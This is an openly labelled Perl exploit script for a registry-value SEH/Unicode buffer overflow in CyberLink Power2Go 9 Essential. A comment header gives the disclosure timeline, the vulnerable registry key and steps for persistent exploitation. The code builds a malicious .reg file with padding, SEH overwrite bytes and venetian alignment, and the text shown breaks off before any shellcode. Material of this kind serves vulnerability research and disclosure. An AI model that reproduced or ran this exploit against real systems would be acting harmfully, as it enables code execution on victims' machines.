CyberLink Power2Go Essential 9.0.1002.0 – Registry Buffer Overflow (SEH Unicode)

#!/usr/bin/perl

######################################################################################################

# Exploit Title: CyberLink Power2Go Essential 9.0.1002.0 - Registry SEH/Unicode Buffer Overflow

# Discovery date: 11-26-2013

# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift

# Vulnerable Software/Version: CyberLink Power2Go 9 Essential 9.0.1002.0

# Vendor Site: http://www.cyberlink.com/

# Tested On: Windows XP SP3

# Timeline:

# -- 11/28/13: Initial contact to vendor requesting appropriate POC to provide vuln details

# -- 12/03/13: Received appropriate submission POC, initial vuln details provided to vendor

# -- 12/11/13: Vendor response indicating issue has been escalated to Development team

# -- 12/17/13: Vendor response indicating RD team working on fix

# -- 03/05/14: Requested status from vendor who indicated issue has been re-escalated to Development

# -- 03/07/13: Vendor response indicating someone from Development would contact for more details

# -- 03/07/14: Vendor response indicating product team working on fix, new release scheduled 3/28

# -- 03/16/14: Additional details provided to vendor as requested

# -- 04/06/14: Status update requested from vendor

# -- 04/08/14: New build released, provided for testing; confirmed fix for this issue

# Details:

# -- Power2Go uses registry keys to set various attributes including the registered username

# -- The registered username is loaded into memory for display when the "About" screen is opened

# -- These registry values can be found here: HKEY_LOCAL_MACHINE\SOFTWARE\CyberLink\Power2Go9\9.0

# -- It loads these values into memory without proper bounds checks which enables the exploit

# To Exploit:

# -- 1) Run created .reg file 2) Open Power2Go 3) Click on Power2Go Logo in the upper left corner

# -- Once the registry has been modified, this exploit will be persistent and execute every time

# -- the application is run and the "About" screen is opened

######################################################################################################

my $buffsize = 50000; # sets buffer size for consistent sized payload

# construct the required start and end of the reg file

my $regfilestart ="Windows Registry Editor Version 5.00\n\n";

$regfilestart = $regfilestart . "[HKEY_LOCAL_MACHINE\\SOFTWARE\\CyberLink\\Power2Go9\\9.0]\n";

$regfilestart = $regfilestart . "\"UserName\"="; # The UserName field is vulnerable

my $junk = "T_v3rn1x" . ("\x41" x 4892); # offset to next seh

my $nseh = "\x61\x62"; # overwrite next seh with popad + nop

my $seh = "\xd0\x50"; # overwrite seh with unicode friendly pop pop ret

# unicode venetian alignment

my $venalign = "\x6e";

$venalign = $venalign . "\x53"; # push ebx; ebx is the register closest to our shellcode following the popad